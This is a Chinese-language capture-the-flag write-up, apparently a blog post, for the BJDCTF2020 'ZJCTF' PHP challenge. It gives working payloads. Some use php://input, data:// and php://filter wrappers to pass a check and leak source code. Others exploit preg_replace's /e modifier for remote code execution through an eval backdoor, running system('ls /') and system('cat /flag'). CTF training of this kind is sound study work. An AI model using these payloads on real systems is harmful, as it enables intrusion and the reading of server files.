[BJDCTF2020]ZJCTF,不过如此
代码审计,在符合if的条件后,我们可以通过include函数包含想要查看的文件
因此,首先需要传入两个参数text和file:
text参数必须不为空,内容需要为I have a dream,file参数的内容则在后面的注释里提示我们为next.php,并且file参数里面不能包含/flag/,否则程序会终止
然后如果需要直接读取的话,我们需要通过伪协议base64编码之后输出到页面中
构造payload
/?text=php://input&file=php://filter/read=convert.base64-encode/resource=next.php
这里的伪协议也可以使用data进行构造,效果相同
?text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php
解码后得到next.php的内容
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
这里涉及到preg_match的RCE漏洞,详情参考https://xz.aliyun.com/t/2557
preg_replace( '/(' . $re . ')/ei','strtolower("\\1")', $str);
preg_match使用/e模式,可以导致代码执行。当preg_match函数在匹配到符合正则的字符串时,会将替换字符串(上面的第二个参数)当作代码来执行。/i表示匹配时忽略大小写的差异。
这里第二个参数固定为strtolower("\\1");
这里的\\1实际上体现为\1
对一个正则表达式模式或部分模式两边添加圆括号将导致相关匹配存储到一个临时缓冲区中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 ‘\n’ 访问
这里的\1指的是第一个匹配项
foreach循环把所有的参数对分次交给complex函数运行。
getFlag是一句话木马,"cmd"作为参数。
因此,这里我们需要构造两个参数:
- 作为正则表达式匹配条件的参数,参数值:getFlag()
- cmd,参数值:需要php执行的代码
next.php?\S*=${getFlag()}&&cmd=phpinfo();
\S在PHP正则表达式中表示匹配所有非空字符,*表示多次匹配
next.php?\S*=${getFlag()}&&cmd=system('ls /');
next.php?\S*=${getFlag()}&&cmd=system('cat /flag');
标签:php,匹配,getFlag,不过如此,ZJCTF,cmd,next,参数,BJDCTF2020
From: https://www.cnblogs.com/fishjumpriver/p/18008589